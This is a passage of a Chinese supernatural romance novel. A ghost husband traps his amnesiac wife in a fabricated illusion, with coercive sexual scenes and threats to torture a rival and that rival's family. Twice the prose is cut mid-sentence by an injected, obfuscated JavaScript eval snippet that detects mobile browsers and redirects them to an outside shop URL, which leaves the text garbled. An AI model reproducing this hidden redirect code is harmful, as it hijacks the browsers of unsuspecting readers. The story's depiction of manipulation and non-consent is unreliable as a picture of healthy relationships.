可他先一步察觉她的意图,更用力地吞咽,导致她尖锐的指甲戳到悬雍垂,生理性干呕了一口,泪水渐渐漫入眼眶。 “别这样,你的嗓子会疼。”许菱烟看着沈明谦疯癫的行为,心如刀绞。 “不会。我不会疼……” 沈明谦眼泪失禁地流淌,含糊地抽噎:“我再也不会疼了。” 她手心抚上他的面颊,眼眸里只盛着他,温声哄说:“可,我瞧着心疼。” 沈明谦突然就静止了,一张青紫的面皮上只有泪珠还在滚。 他缓缓抽出她的手,上下牙如同生锈的机关,僵硬地磕碰在一起,震得头骨发麻,又嘎吱作响。 ……啊啊。 多么温柔体贴的妻子。 多么善解人意的妻子。 多么通情达理的妻子。 属于且只属于他的,完美的妻子。 也是他最喜欢的,心无旁骛爱着自己的妻子。 沈明谦忍无可忍,扑过去紧抱住她,很努力才克制住嚎啕的冲动。湿冷的呼吸跟喃语一齐喷洒在耳畔,反复叫她,“清如...清如...” 许菱烟摸上他凸起的肩胛骨,无奈纠正,“我早就不叫这个名字了。” 沈明谦装作没听见,趁妻子没留意,一把捞起她的腿弯,将人打横抱起,大步流星走向卧室。 浴室外开着暖风,片刻的功夫就热烘烘的,以防她睡久了不舒服,他把角落的加湿器打开到最大档,按捺住自己的不适感,掀开被子与她躺在一起。 梦寐以求的事得以实现,比起激昂,他更怕哪里做错惹她不开心,一直挨着床边。 直至许菱烟主动开口,问他怎么不躺近一点,他才敢小心翼翼贴近,手臂伸长给她做枕。 额头对着额头。 鼻息缠绕。 距离近到,一低头就能吻上去。 与前世,每一个相拥诉话的夜晚,如出一辙。 明明是那么温馨的时刻,沈明谦心口被利刃豁开的口子却控制不住的疼,眼皮抽搐,泪水滚滚,打湿她的面颊。 许菱烟察觉到,并没有挑明。 等眼睛适应黑暗之后,她从被子里伸出手,细细摸过一遍他的下巴,突兀地说:“好瘦。” 沈明谦:“……嗯?” “我记得你从前胃口很好,什么都吃,从不挑食。人虽称不上胖,但绝对强壮健康,现在怎么瘦的只剩下一把骨头了。” 她主动凑近贴了贴他泛凉的薄唇,心酸道:“明天我亲自下厨做饭给你吃,保管用不了多久,就能把你的身体养回来。” “……” 短短几分钟内,沈明谦又一次静止了。 与她分别的几千年里,他这具破败身躯内,装得其实不止有对她的爱。最开始是恨浓一些,恨她的冷漠无情,恨她的决绝果断,恨她的不识好歹。 后来见到她的刹那,那些恨啊、怨啊,就全变成痴。 而此刻,那些痴也比不上她寥寥几句软语带来的震撼。 沈明谦太久没感受过温柔乡的滋味了,脑袋轰然一响,理智被炸得一干二净,本能占据上风。 他摁着她肩膀,翻身上去,熟练地扯过被子蒙住两人,亲吻接踵而至。 …口… 被子下的空气稀薄,许菱烟胸腔因为缺氧闷痛,偏偏被用力固定在一点,逃也逃不开。她只好利用尚且能自由活动的手臂,努力扒开头顶的被子,借着一条缝隙透口气。 不到一秒钟,她重新被拖拽回去。 被角的边缘一线再次合拢,黑暗与憋闷一起袭来。 濒死感致使五感无限度放大,许菱烟清楚听见耳畔回荡着尖锐的磨牙声,是沈明谦狂乱地呢喃:“我的,我的我的,我的我的我的我的……你永远是我的妻,只能和我在一处,只能看着我,只能爱我,只能和我缠绵。我的清如...我的妻...我的...” “不要不做声,说你爱我,快说...快说呐...” 这样催促还远远不够,他更加暴烈的拥吻她,指腹摁着的地方泛起一块肿胀淤青,快活与疼痛一样厉害。她不知道该享受还是该流泪,吭吭哧哧地哼唧,说不出一句完整的话。 可她,确实是爱他的。 她必须承认这一点。 纵使她的失忆症还没彻底痊愈,暂且记不起与他过去的种种; 纵使面前这人,跟她白天见得那个有很大区别,犹如斯文懂礼的皮囊被拆开,表露出充斥着负面情绪的模样,她也没产生恐惧的情绪,反而感觉熟悉。 这不是爱,又是什么呢。 许菱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刚准备过去瞧一瞧,忽而听见身后传来耳熟的声音:“醒了。” 许菱烟蓦然回首。 书房的窗户向内敞开,棱上悬了一条细线,用夹子夹起的红纸在风中纷飞,哗啦作响。 沈明谦一袭玄衣,长发用冠竖起,手持毛笔,立在窗边,笑着向她招手。 一眼望去,宛如水墨画活了。 许菱烟心脏重重地砸了下,涌起一股说不清道不明的悲哀和思念。 条件反射般的,她拎起裙摆飞奔向他。 双腿还没完全恢复力气,不等折腾几步突然发软,许菱烟惊诧地挤出一声短促尖叫,双手向一旁扑腾几下,可惜没能抓住什么稳住身形,整个人不受控制的向前扑倒。 转瞬间,腰部被一只宽大手掌托住,用了巧劲儿,向上撑起她。 许菱烟整张脸顺势压入沈明谦的胸膛,立即嗅到一股奇异的味道,不算好闻,却让她格外熟识,方才惊动的心脏,在他严实的怀抱中,慢慢恢复正常。 沈明谦将妻子打横抱起,阔步走入书房,用脚勾过椅子,放她坐在软垫上。 还不忘补一句吐槽:“毛毛躁躁。” “……” 俯身时,沈明谦的长发滑落至身前,发尾扫过许菱烟的眼皮。 她痒得不行,抬手揉了揉,再次睁开眼就看见一张怼近的俊脸,比沈渠更美更帅也更有气概,书上说得“面如凝脂,眼如点漆,此神仙中人1”在此刻具象化。 分明是每天都在见的人,当下此时,不知怎么回事,她竟然不敢直视他了。 因为他靠得太近,总给她一种随时会吻下来的错觉,也因为他那句“毛毛躁躁”的调侃,让她有种在意中人面前出糗的无地自容感。 她像个情窦初开的少女,在他的注视下,耳根逐渐泛起暧昧的薄红,羞怯的不像话。 两张嘴皮蠕动半晌,憋不出任何反驳的言语,许菱烟干脆扭开脸,假装被桌上铺开的红纸吸引注意力,“起这么早,你在忙什么?” “春节快到了,要把房子打扫干净,准备年货,还要写对联和福字,有很多事情等着干。”沈明谦抓着椅背,稍一用力,轻松把椅子调转方向,让妻子正对桌子坐,“试着来写一张福字?” 许菱烟蜷起手指,窘迫道:“不了吧,我很久没动笔了。” “无妨,我教你。” 沈明谦将毛笔塞进妻子手里,大掌从外牢牢包裹着,施力带动她下笔。 起初许菱烟还很认真,没一会儿就走神了。 沈明谦察觉握着的那只手懈力,疑惑地抬眼,发现妻子正看着窗外那棵歪脖子树出神,于是停下笔凑近,霸道的用身体挡住她的视线,语气幽怨:“区区一棵树,有什么好看的。” 等下他便砍了,碾碎磨成粉,让它随风消散,再也别来碍眼。 许菱烟涣散的目光扑闪一下,随后聚集于他这儿,“我没看树。” “那你在看什么。” “看窗户。” 准确来说,是,“看玻璃上的倒影。” 许菱烟摸了摸身上用料珍贵的衣裳,藕粉小衫,翠绿长裙,嵌珠金丝鞋,一套很合她审美的穿搭。 可偏偏,脑海里有道声音喋喋不休地絮叨,这不该是她的打扮,眼前这人、这景,都不是她应该看见的。 许菱烟揉了揉鼓囊囊的心口,蹙起眉尖,困顿发问:“我的病是不是又犯了?” “没有。”沈明谦语气笃定,“理清思绪还需要一段时日,你偶尔会分不清真假虚实,这是无法避免的。但有一件事,你可以确认,永远不必怀疑。” 许菱烟:“什么?” 沈明谦温柔地吻上妻子眉心,眼底盛着无法被看穿的深谙,循循善诱:“站在你眼前的这个我是真实的,我对你的爱意,也是真的。” 许菱烟闭眼感受他的亲昵,躁动不安的情绪逐渐抚平。 她不再东想西想,重新拣起毛笔,专心跟他一起写字。 37. 臊红脸 郑清如这场病来势汹汹,治了良久不见成果,痊愈却在朝夕之间。 前一刻,她跟夫君手握手共写对联。 他蓄意调侃,说她如今穿着打扮、语气神态,就连性格都像极了一位故人。 她不爽,追问他究竟是哪位故人,“难不成是你旧相好?” 夫君摇摇头,只笑不语,腾出的另一只手来回抚摸她乌黑长发。 她愈发不快,立即发作性子,扭着肩甩开笔,拎起裙摆就往书房外走。 吓得夫君脸色巨变,赶快追上来,抱着她哄说:“娘子莫冤我,我哪有什么旧相好。许菱烟是你,郑清如也是你,从始至终,我心中只你一个人。方才不过配合你玩闹,故意这么说的罢了,你若不喜欢,往后我再也不敢了。” “……” 也就在这一刻,许菱烟脑海里闪现过许许多多古怪离奇的场面。 似是,她浑噩中做的一场梦。 梦中,她不再是沈明谦的妻子,名字唤作许菱烟,爹娘也换了,身边亦有一帮志同道合的友人,还认了一位师傅学习雕刻手艺,出师之后,顺利发展出自个儿的生意,赚的钱足以养活自个儿。 这种人生全权掌握在自己手中的滋味,美好的极不真实。 而且,兜来转去,她又与夫君相遇了。 梦中的夫君也不再是眼前这副长相,看起来更年长一些、斯文一些,气质也和善一些、稳重一些。 纵使这般,她第一眼还是深深被他吸引,无可救药的爱上他,甚至在成婚前就甘愿与他做下离经叛道的事。 可惜,梦仅仅是梦而已。 不管好的坏的,早晚有醒来的那天。 只因她病得太久,脑袋并不清醒,常把梦中的情形代入现实中,分不清虚实真假。要么怀疑夫君居心不良,要么怀疑身为郑清如的人生才是梦。 这样下去,她就算没病死,恐怕也会因精神错乱发疯。 故此,夫君不得不配合她,一会儿扮演沈渠,一会儿扮演沈明谦,哄着她,期盼她早日醒来。 日子一长,他难免糊涂,偶尔错用沈明谦的身份与许菱烟相处,弄得她以为撞邪了,吓得终日疑神疑鬼,还生了一场大病。 或许,须得感谢那次发热,阴差阳错的把她脑子烧透彻不少。往后梦醒再见夫君,她不再惶恐,坦然接受了两人的夫妻关系,亦接受了她在病中的事实。 直至如今,郑清如的意识突然就明朗了。她不错目地打量着面前这张皮,情不自禁伸手抚摸,一行热泪陡然滚落,哽着喉咙轻唤:“明谦。” 因为惹怒妻子而懊悔的男人,闻声,整个人仿若被定住一般。 良久,他抬起头,满脸的不可置信。可当看看见她同样眷恋哀戚的表情,他顿时红了眼眶,心口那道隐秘的旧伤也钝痛万分。 期待已久的场面发生在预料之外的时候,一时之间,沈明谦竟不敢相信,眼神希冀又畏缩,喉结滚了又滚,终于艰涩地挤出一声试探:“……清如?” “是我。我回来了。”郑清如弯起唇角,淡淡笑着,动人的模样一如往昔。 伴随她的答复,原本晴朗的天空忽然乌云滚滚,闷雷阵阵,滂沱大雨紧接着降落。潮湿、寒冷、昏暗笼罩天地,大有颠覆岁月的阵仗。而这些,全是沈明谦一颗腐坏心脏得以砸回胸腔的具象化。 他趴伏在妻子的怀里,双臂紧紧环绕着她的腰肢,姿势贪恋又依赖。 恍惚间,四周场景疾速变化,倒退回那个两人初相逢的殿宇内,清冽的花香瓦解沈明谦的心防,让他像个委屈的孩童一般,放声痛哭。 压抑数千年的繁杂情绪悉数爆发,他有无穷无尽的情绪要宣泄,却不知道该怎么表达,恨不得就在香肌玉体中再死一次,或者,哭到浑身血液淌干净,五脏六腑搅合在一起榨干胃酸,先把一颗真心呕给妻子,再把躯体磨成齑粉,哄骗她一口一口吞进肚子里,以这种方式,完全且永久的占有他。 仅仅是设想,就足够他兴奋到进入顶点。 动情至深时,他张口唤她,言语颠倒错乱,字字句句皆为泣血的痴念:“清如,清如清如,清如清如清如清如清如清如清如清如清如清如……我想你,真的真的,好想好想你。” “过去那些没有你的日子,我只能咬着牙硬熬,全凭着与你重逢的念头才独自苟活至今。以后,不论生与死,你都别再丢下我了,好不好。” 郑清如仰起头,余光瞥见玻璃上交叠的倒映,迷蒙地嗯了一声。 这细微的动静给了沈明谦莫大的鼓舞,愈发用力的拥抱妻子。 重聚的时刻来得突然,情绪高涨时谁都没顾得上关掉窗户,寒风卷着细雨吹进书房内,挂在窗棱上的对联被打湿,晕开一片暗色像极了氧化后的血液,桌面的红纸翻飞,散落一地,全都没办法再用了。 郑清如打了个寒噤,冷得厉害也咬牙忍耐着,并没阻止沈明谦胡作非为。 病久了,折磨的不仅是自身,还有亲近之人的精神。 她理解他失而复得的庆幸和委屈,耸起肩承接他的啃咬,指尖在他嶙峋的骨头上流连,抚平他焦躁不安的情绪。 只是内心稍微可惜,那些已经写好的对联,恐怕又得耗费功夫重写了。 ……罢了。罢了。 字坏了可以再写,岁月一去不复返。 当前眼下的温情难得,才最值得珍惜。 大雨下了多久,两人之间的缱绻就持续了多久。屋外花瓣被雨珠簌簌打落,红的白的洒了一地,帷幕内芳香扑鼻,勾魂噬魄。 顾及妻子的身子恐会遭不住,沈明谦克制着披上外衣,打湿帕子,为她擦拭干净。 待雨势减小时,他揽着她,像往常那般低声诉说情话。没多久,郑清如困意渐浓,依偎在他熨帖的怀里睡过去,一夜无梦。 再睁眼,外头大雨已停,竟是个难遇的艳阳天。 病愈后,郑清如的精神也跟着好起来了,人变得活泼好动,经常趴在池边,伸长胳膊搅动一池水。 锦鲤们被惊动,争先恐后地飞跃出池面,尾巴甩出的水珠溅她一脸,她也不气恼,反而笑得花枝乱颤。 声音沿着长廊飘入书房,钻进沈明谦的耳朵。 他从窗口瞧见这一幕,无奈啧声,快步走到水池边,强硬的把她捞起来。 而她专注地盯着池子,并没从水面看见他的倒影,自然也不知道有人靠近。 身体突然腾空的失重感骇她一大跳,条件反射的挣扎起来,水淋淋的袖子拧成一股绳,变得很有分量,抽在他手背上生疼。 “衣裳全湿了,在外待久了容易受寒,带你回屋换一件。”沈明谦解释。 郑清如定了定神,掌心无力地拍在他肩上,嗔怪:“那你先打声招呼呐,忽然冒出来,可吓惨我了。” 沈明谦莞尔一笑:“是我唐突,娘子打得对。若不够解气,不妨再来几下。” 说着,他主动往她跟前儿凑。 郑清如臊红了脸,手脚并用地推开沈明谦,随便抓了一件衣裳跑去里屋更换。 久病一场,郑清如变得格外爱惜身体,也相当听劝。沈明谦说玩水会得风寒,她便强忍着想靠近水源的冲动,整日待在书房研墨,陪他写对联。 写累了,两人相拥躺在美人椅上小憩。 这般无风无浪的过了几天。 在一个日头高照的午后,沈明谦将椅子搬到院中,给妻子备好茶水零嘴,哄她乖乖坐着,看他贴对联和福字。 他手脚利索,左右不过一刻的功夫就弄完了。 郑清如适时的递上一盏茶,用帕子一点点吸掉他额上的细汗,另只手不停晃着扇子,为他扇风祛燥。 如此温馨的时刻,她眼底却有一刹的迷惘,人处于当下,神识不知道短暂的抽离去哪儿了。 一晃过后,她仿佛什么都没发生一样,从容自若的融入现下妻子的身份里,接过他手中的茶盏,放在矮几上。 问他待会还忙什么,她也想帮帮忙。 沈明谦没吱声。 他的视线从始至终没有离开过她,自然不曾错过她一丝一毫的变化。 纵然知道这一天终究会来,但与妻子一起享受过温馨平淡、恩爱有加的日子,他内心欲-望被喂养的愈来愈膨胀,再也无法轻易被压抑下去。 原本计划着循序渐进的来,让妻子一步步接受他的存在,如今那些想法,全被他抛去脑后。 他要她现在就爱上自己,亲口答应再嫁给他一次,从此关起门来,在这方天地里,自由自在的过他们的日子,弥补所有错过的岁月。 沈明谦后牙嘎吱磨了一下,由心而生出一股畅快。 他表面佯装平静,在衣服上擦了一把掌心的汗,珍惜地碰了碰她的脸颊,温声说:“今日该忙的已然忙完了,天色已晚,早些歇着罢。” 天色已晚?这会儿正值午后,日头最烈的时辰,怎么就晚了? 郑清如不解,转眼看向院内,惊觉漆黑一片,风不知何时停了,花瓣不再飘落,水池无波无澜,四周格外寂静。 再抬起头瞧,夜空繁星点点,明月当照。 “……还真是,天色已晚。” 郑清如彷徨地念叨一句,乖乖跟沈明谦进了屋。 - 除了确认郑清如情况转好的那天夜里,沈明谦情难自抑,做的过火了些,后来都以她的康健为主,一直忍耐着没再越过界。 今晚沈明谦一反常态,偏要在浴桶里翻来覆去地折腾,水花四溅,打湿了一旁挂着的帕子,地面油光发亮。 郑清如一时脱力,没攀住他的臂膀,身体不住地往下滑,呛了两口水,趴在桶边咳嗽了好一阵儿,整张脸连带着脖颈都涨得血红。 浴室内温度渐冷,他担忧让她生病,于是出去取了新的帕子,草草擦拭干净,又转战到床笫之中。 直至月上梢头,天色暗到一颗星星都瞧不见的时候,嘎吱作响的床架总算消停了。 郑清如汗津津地趴伏在被褥里,眼皮无力地阖上,努力调节呼吸节拍,可一颗心脏始终扑腾的厉害。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269660|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她分不清究竟是太激烈了迟迟缓不过来,还是因为那件不敢想的事儿感觉不安,干脆撩开纱幔,看着沈明谦走来走去地收拾,转移注意力。 待沈明谦打扫完狼藉,再度躺回来,郑清如顺势翻身滚入他的臂弯,拱了拱脑袋,找到个舒服的位置枕着。 他拨开她汗湿的碎发,别去耳后,指腹摩挲她耳垂厚实的肉。 嗓音中透着餍足的倦怠,“不困?” 郑清如摇摇头,旋即,当着他的面儿打了个大大的哈欠。 沈明谦哭笑不得:“困了就睡,强撑什么。” 郑清如沉默一瞬,一双手在被子下方胡乱摸索,趁撩起火前寻摸到沈明谦的手,蛮横挤入指缝间,紧紧相扣。 做完这一切,她多少有些开口的底气了,口吻却还是听得出夷犹,“我的病确定全好了吗?日后,会不会还有复发的风险?” 沈明谦听罢,于黑暗中她看不见的地方,意味不明地笑了笑。 妻子真的很聪慧也很敏锐,任何蛛丝马迹都逃不过她的法眼,只可惜,不管她再怎么伶俐,也不可能跳脱认知之外,挖掘出真相。 原本他计划,借用生病作由头让事情顺理成章的发展下去,可这几日的相处,却又催生出他内心更多更深的妄想。 他要的并非一个呆头呆脑,只知服从设定,盲目爱恋信赖他的妻子,而是最初那个会吵会闹、会恨会怨,有正常喜怒哀乐的、活生生的郑清如。 既然如此,就没必要将她继续困在这场由他捏造出来的虚幻里,得让她醒来,以最冷静理性的状态,接受有关于他们的所有。 接受不了,也没关系。 如今他的能力足够困住她,直至她认栽的那一天到来。 沈明谦沉浸在设想中,惬意地阖上眼,掌心有一下没一下地抚摸她散开的长发,假模假式地安慰,“别怕,踏实睡。” “不管这一觉醒来,你分不分得清梦境跟现实,陪在你身边的这个我反正是真实存在的,我们一起度过的这些天的回忆也不能作假。” “大不了,我把生活中的点滴都记录下来,等你再次苏醒的时候,全念给你听。” 话是这么说没错,但郑清如一想到变化仅在一夜之间,甚至可能发生在一场随机的梦里,这种身不由己的失控感,就足够让她害怕的不敢睡去。 而且,这场不知何时是尽头的病,不仅折磨她,连带他一齐被揉磨的肝肠寸断。 这才是她真正感觉恐惧的原因。 沈明谦的指腹触碰到妻子颤抖不止的睫毛,知道她倔强的不肯闭眼,耐心哄说:“别胡思乱想吓唬自己,你已然大好了。只不过病了这么久,难免落下点病根儿,妄图一下子就恢复的跟正常人完全一样并不现实,给身子一个调整的机会,慢慢来。” “踏实合眼,睡吧……刚才不是一个劲儿念叨说累了,很想睡一觉吗……” 他轻轻拍打她的后背,低沉舒缓的音调仿若带着一股魔力,她的倦意愈发浓郁,眼皮沉重,真就在他一声声“睡吧、睡吧”的低语中逐渐丧失了意识。 等攥着心口衣料的手失去力气往下滑落,沈明谦及时捞住,恋恋不舍地凑到唇边轻啄。 犹嫌这样不够,他张开嘴,尖牙来回磨着她指腹的油皮,直至尝到一丝血腥味,他眼底立即迸射出诡谲的光,喉头疯狂滚动,反复咂摸那一丁点的甜腥,含混地咕哝着并不会被妻子听见誓言。 “清如……” “清如呐。” “我心爱的妻。” “下次相逢,你我之间,便再无分别了。” - 夜半三更的月洞门外异常热闹,细听却不是有人聚集,像极了野兽撕扯生肉,狼吞虎咽的咀嚼声,还有馋到极点咕嘟吞咽口水的动静,其中又夹杂着些许上下牙紊乱磕碰、磨擦的刺耳声…… 各种响动混杂在一起,喧嚣到仿若置身于清晨市集。 巡逻的保安被这诡异的声息弄出一身鸡皮疙瘩,壮着胆子举起手电筒,强光把前方至少百米开外的区域照得亮堂,犹如白昼一般。 放眼望去,除了在风中簌簌作响的草丛、树木,根本无人存在,也没有任何可以让人藏身的地方。 确认一切如常,保安悬起的心放回肚子里,搓了搓胳膊,嘀咕一句“今晚的风怎么吹得这么吓人”,头也不回的离开这片邪门的住宅区。 他的身影甫一从拐角处消失,看似安详的角落深处,一个接着一个冒出人头大小、形状不一的黑雾,扰人心神的杂音再次响起,宛如战场上进攻的号角。 它们彼此簇拥着往月洞门爬近,结果被一道无形的屏障挡住,任凭怎么抓挠也扯不破,只好重新回到原地,伺机而动。 不易被发觉的旮旯,有道矮小许多的薄雾悄悄掀开屏障一角,飞速溜进去,贴着墙边的阴暗地,成功越过月洞门。 等避开外面虎视眈眈的鬼魂,它才敢松口气,熟练地聚拢成人的模样。 惨白的月光洒落在他脸上,照得真切。 是沈绍元。 38. 生死长夜 实话说,沈绍元真不愿来蹚这一趟浑水。 月洞门外是被祖宗散发的怨气吸引来的鬼魂,它们大都在生前犯下大罪,被判永生永世不入轮回,只能在地府的炼狱中经受刑罚,而今不知道怎么回事儿,竟然跑到地面上来了。 所幸忌惮祖宗的威严,他们并不敢造次。 不过,等这份怨念攒聚成无法压抑的地步,终会酿成大祸,反扑到祖宗的身上。 沈绍元势单力薄,到时候肯定帮不上忙,顶多在这会儿冒着危险来给祖宗送个信儿,让他万事悠着点干,给自己的日后留一线。 那道屏障认他是沈氏的血脉,并没有拦他,可进来之后的景象,生生骇得沈绍元一只鬼都打了个寒噤。 整座宅院一瞧就很久没住过人了,荒凉破败倒是其次,歪脖子树了无生机地倒在墙边,浑浊的池水水面飘着枯叶,风一吹,叶子打着旋儿荡开,露出一条条翻起肚皮的小鱼儿。 每间房的房梁上方都悬挂着新做的灯笼,张贴的福字和对联用纸陈旧,分明该用鲜艳的红代表吉祥如意,但却在灯笼光线照射下,散发出骇人的幽光。 这儿的所有,与底下祖宗待了千年的地方,如出一辙。 继不小心窥破祖宗对许菱烟的真正目的之后,沈绍元每时每刻都提心吊胆的,生怕祖宗哪天想起这回事会杀他灭口。 毕竟他那么弱小,祖宗又那么强大,动动手指就能捏死他,比搓死一只蚂蚁还简单。 现在他更是不敢再向院内踏入一步,唯恐戳穿更惊悚的真相,加速自己灰飞烟灭的进程。 兴许他今日就不该来,自讨倒霉吃。 沈绍元当机立断决定逃开,于是重新缩成一团不起眼的雾,颤颤巍巍地贴着墙,后退,再后退。 眼瞅就快撤出屏障外,忽然,有道庞大的阴影从上方笼住他,气势化作一阵阴风,寒凉刺骨。 沈绍元滞住,脑袋一卡一卡地向一旁偏转,顺着爬墙虎向上迟缓移动,意料之中的,跟翘起二郎腿坐在檐上的男鬼打了个照面。 四目相对之际,空气短暂的凝固了片刻。 沈明谦眼皮下耷,深深凝视着他,一言不发,压迫力十足。 沈绍元咧了咧嘴,吐出一节腐臭暗红的舌头,从善如流道:“晚上好呀,我尊敬的祖宗。您的兴致真不错,独自坐在房顶上晒月光,比活人还会享受生活呢……另外一位祖宗已经睡了吗?哈哈,她的作息可真规律,将来肯定能够长命百岁……” 沈明谦懒得听他胡诌八扯,径直打断,“你来干什么?” “哦,对,我来送东西。” 经他提醒,沈绍元总算想起来这一趟的正经事,变戏法似的从怀里掏出文件袋,飘上房檐,双手俸给他,解释说:“这是从门卫亭那儿偷来的快递。” 封皮上写着“许菱烟亲启”一行字,沈明谦并没着急拆开,向候在一旁的沈绍元飞了个眼刀,“还有别的事?有就一口气说完。” “没了没了。” 沈绍元火速飘下去,钻进阴影里原路返回,一刻都不想在祖宗身边多待。 走到半途中,他忍不住扒着墙边探出脑袋,鼓足勇气问:“聚集在外面的那些玩意儿,怎么办?” “不用管。至多再有一个夜,它们便会跟我回到该回的地方。”沈明谦口吻无波无澜,亦因此,没有戳破的那层意思,显得越发诡谲恐怖。 沈绍元下意识看向紧闭房门的主卧,想到此时此刻正在睡梦中,尚不知明晚即将发生何事的许菱烟,顿时遍体生寒。 他不敢再看他,把脑袋埋进空荡的胸膛里,战战兢兢地遁走了。 月洞门外的哀嚎没有持续太久,自沈明谦踏出屏障的那一刻起,强烈的杀意以迅雷不及掩耳之势袭来。 逃得慢的鬼魂,连一声尖叫都来不及发出,顷刻间化为一缕烟雾,从此消散于天地间。逃得快的也被这股压制力震慑,多少能在底下老实待一阵子。 而沈明谦对周遭发生的一切毫不关心。 他如愿得了清净,随便挑了一块儿草地坐下,借着月光拆开文件袋,取出厚厚一沓打印纸,一目十行地扫视。没看多久,他一脸兴致缺缺地撇去一边,打算回屋搂着妻子安歇。 就在起身的这秒,刚才被刻意忽略的异常感涌入心头。 他脚步一顿,就近捡起一张纸。 内容应该来自于某人的日记,字迹潦草,通篇毫无逻辑可言,充斥着大量鬼怪惊魂之类的可怕经历。 就算流传到网络上,要么被人误认为是虚构的小说创作,要么是精神疾病患者犯病时产生的错觉。因为故事足够猎奇,或许可以吸引一部分爱好恐怖文学的人,但绝对不会被当真,并且宣扬开。 如若换作妻子来看这些乱七八糟的东西,会产生什么样的反应,便不一定了。 人的思绪很容易受到外力操纵,虚虚实实、真真假假混在一起,乱成一团毛线,即便本人想理也理不清。倘若有朝一日,有人拿把剪子,咔嚓剪掉那团扯不开疙瘩,剩余的线自然而然就散开了。 而这本意料之外的日记,对于妻子来说,正如那把剪子。 彼时的沈明谦太过渴望与心爱之人重逢,又怕贸然出现给她带来的负面影响大过于惊喜,思来想去,决定利用庚舟做个实验。反正,他已经被他戳穿真面目,倒也免去了伪装的麻烦。 岂料庚舟心理素质太差,没多久便精神崩溃,整日逢人就哭嚎自己撞鬼了。 身边的人不明所以,只觉得他读书读疯了,劝说他赶快去看一看心理医生。 可他却终日将自己反锁在卧室里,相信了不知道从哪儿学来的邪术,拿蘸了家禽血液的毛笔,在墙壁上涂满各式各样的图案,一边叽里咕噜念叨着“咒语”,嘴皮子磨破了也不肯停下。 实则这些民间招数,对沈明谦压根不起作用。 最终,庚舟神神叨叨的状态惊动了他的研究生导师,斟酌再三,老先生往他家中打了一通电话。闻讯赶来的亲人被庚舟的情况吓坏了,赶紧办了休学手续,带他回家乡一所权威的精神疗养院治病。 离得太远又过去太久,加之这阵子沉浸在妻子的温柔乡里,沈明谦俨然忘了庚舟这号人物。 看样子,远离他的磁场影响之后,再配合疗养院的药物辅助,庚舟的头脑清醒不少,日记从颠三倒四渐渐变得条理分明,还能回忆起被他蛊惑心神时发生的事,一桩桩、一件件清晰写在本子里。 沈明谦无从得知庚舟用了什么方法,竟然得知他的真实目的,以及许菱烟的存在。 更甚至,庚舟已经料想到自己无法获得许菱烟的信赖,贸然露面还有可能被他发现再次卷入危险,所以,拜托跟许菱烟关系亲近的褚灵萱,亲自上门,把日记交给她。 纸上的内容,在别人眼中是疯癫夸张的恐怖故事,却实打实在许菱烟的生活中上演着。 她看见以后作何反应?是当面质问他,还是听信旁人的一面之词,认为他心性歹毒狠辣,不值得她再爱一回?千年前,她与他恩断义绝的场面,还会再次出现吗? 这几日在温馨的氛围内泡久了,沈明谦身体内的馋虫蠢蠢欲动,迫切地想要他们赶快迎来真正重逢的那天,忘记思考,妻子恢复全部记忆之后,势必伴随而来的难题。 单单设想一下妻子或憎恶或冷漠的眼神,沈明谦就已经无法忍受,肉眼可见的焦虑起来,双手急躁的用力拉扯头发,青紫色的皮肤鼓起经络般又粗又壮的血条,模样可怖。 “怎么办,怎么办怎么办,怎么办怎么办怎么办怎么办怎么办怎么办怎么办怎么办……万一清如讨厌我了,不愿跟我说话,不愿抱我亲我,不愿跟我一同安置……不愿,跟我做夫妻,怎么办……”他原地踱步,后槽牙不断磨擦弄出刺耳的动静,疯癫痴狂地絮叨。 忽然,他脚步一顿,盯着洒落遍地的纸张,骤缩的瞳仁中迸发出猩红怒火,詈骂:“贱人!” “若知晓,你蓄意破坏我们夫妻的感情,当初我就该瞒着清如折磨死你。等到了阴曹地府,落入我的手掌心,你亦别想痛快。我定将你,扒皮抽筋下油锅,教你求生不得求死不能。至于你那些活着的亲人,都将被我报复,不得好死……” 恨到极点,沈明谦面部肌肉痉挛颤抖,踉跄着奔往妻子所在的房间,一路上都在神经兮兮的反复咕哝: 贱人。 贱人贱人。 贱人贱人贱人贱人贱人贱人贱人。 该死。 该死该死。 该死该死该死该死该死该死该死。 妄图拆散他与清如的人,统统应该死无葬身之地。 房门被猛地推开,借由惯性撞击后墙,发出砰得一声巨响,在破败古老的院子上空回荡,经久不散。凄惨月光沿缝隙扑进来,穿透沈明谦的身体,笼罩住床上安然熟睡的女人。 许菱烟尚不知外界发生了什么,单薄眼皮覆盖下的眼仁小幅度转了转,并不是苏醒的征兆。她浑浑噩噩地翻了个身,再度睡过去了。 这个姿势导致她的脸全然暴露在沈明谦眼前,他心尖轻微颤了下,就像被一双轻柔的手抚摸过全身,直至沸腾的血液逐渐平缓,肿胀的经络也随之恢复如常。 他深吸口气,双眼轻合,再次睁开,眸底已然一片冷静。 为了配合明天她醒来该见到的“正常”场景,这间屋子从她闭眼的那刻起,便恢复成现代化的模样。 空调温度开得略高,加湿器的效果不明显,沈明谦倒了一杯温水放在床头柜上,确保她一觉醒来可以及时补充水分。 接着,他轻手轻脚地关上门,脱掉衣物,掀开被子躺进去,娴熟且紧密地抱着她,鼻尖抵着后颈,深深吸入一口气:哈……真的好香,好香。 沈明谦的魂灵被这股味道引诱,开始瘙痒、震颤,从一种癫狂演变为另一种更强烈、原始的冲动。 他小心翼翼掰正她的脸,双手轻缓触抚,像对待一件绝世珍宝,左瞧右瞧好一阵儿,才敢伸出暗红长舌,自乌眉向下舔舐,舌尖卷起睫毛往复含咂,吐出时,透明粘稠的口水拉长成丝,浓密纤细的眼睫仿若裹着糖浆的羽毛。 原本轻快、抖振,现下却被甜蜜的重量黏住,湿漉又破碎,充满了无助感。 